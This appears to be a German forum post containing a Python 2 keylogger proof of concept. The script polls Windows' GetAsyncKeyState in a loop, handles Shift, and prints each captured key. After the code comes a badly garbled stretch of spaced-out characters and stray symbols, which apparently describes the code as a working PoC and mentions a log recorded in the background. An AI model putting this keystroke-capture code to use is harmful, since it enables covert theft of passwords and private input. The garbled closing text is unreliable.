[HaBo]

from ctypes import *

kernel32 = windll.kernel32
user32 = windll.user32
VK_SHIFT = 0x10
VK_LSHIFT = 0xA0
VK_RSHIFT = 0xA1

while True:
    kernel32.Sleep(1)
    # log/print etc
    if user32.GetAsyncKeyState(VK_RSHIFT) or \
       user32.GetAsyncKeyState(VK_LSHIFT):
       shift = True
    else:
        shift = False

    # soll nur von Leerzeichen bis Z gehen,
    # verwendet kein VK_, da ich diese nicht manuell
    # importieren bzw. zusammensuche moechte
    # und die VK_ Codes hier groesstenteils uebereinstimmen sollten
    for i in range(ord(' '), ord('Z')):   
        keystate = user32.GetAsyncKeyState(i)
        """
        mehrfache Abfrage vermeiden, siehe MSDN:
        If the most significant bit is set, the key is down,
        and if the least significant bit is set,
        the key was pressed after the previous
        call to GetAsyncKeyState.
        """
        # wenn die Taste nicht gedrueckt wurde oder last significant
        # bit gesetzt ist, ueberspringen
        if not(keystate & 1):
            continue
        
        if shift:
            print chr(i).upper(),
        else:
            print chr(i).lower(),

k e y s t a t e   0   G e t A s y n c K e y S t a t e 8 V K L S H I F T 9   f u n k t i o n i e r t   d o c h   w u n d e r b a r   9 h i e r   
e i n   P o C   i n   P y t h o n   8 j a   k e i n   C   a l l e d i n r d i n g s   s i n d   d i e   A P I   A u f r u f e   d i e   g l e i c h e n   s o w i e   b i t w e i s e   O p e r a t o r e n % % % % % % % % % % % % % % % % % % % % % % % % % %   ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' 9       
L e s b a r   s o l l t e   e s   a l l e m a l   s e i n a c 8 s p o i l e r 0 2 p y c o d e 9 2 9 8 8 c o d e 9 v 8 7 c o d e 9 8 7 s p o i l e r 9 W i c h t i g   s i n d   
h i e r   2   D i n g e     e i n m m a a l   d i e   S H I F T   A b f r a g e   s o w i e   d a n n   e i n   o r d e n t l i c e s U n d   i h i e r   m a l   d a s   L o g   w e l c h e s   i m   H i n t e r g r u n d   g e r a d e e   e r t e s t e l l t   w u r d e   9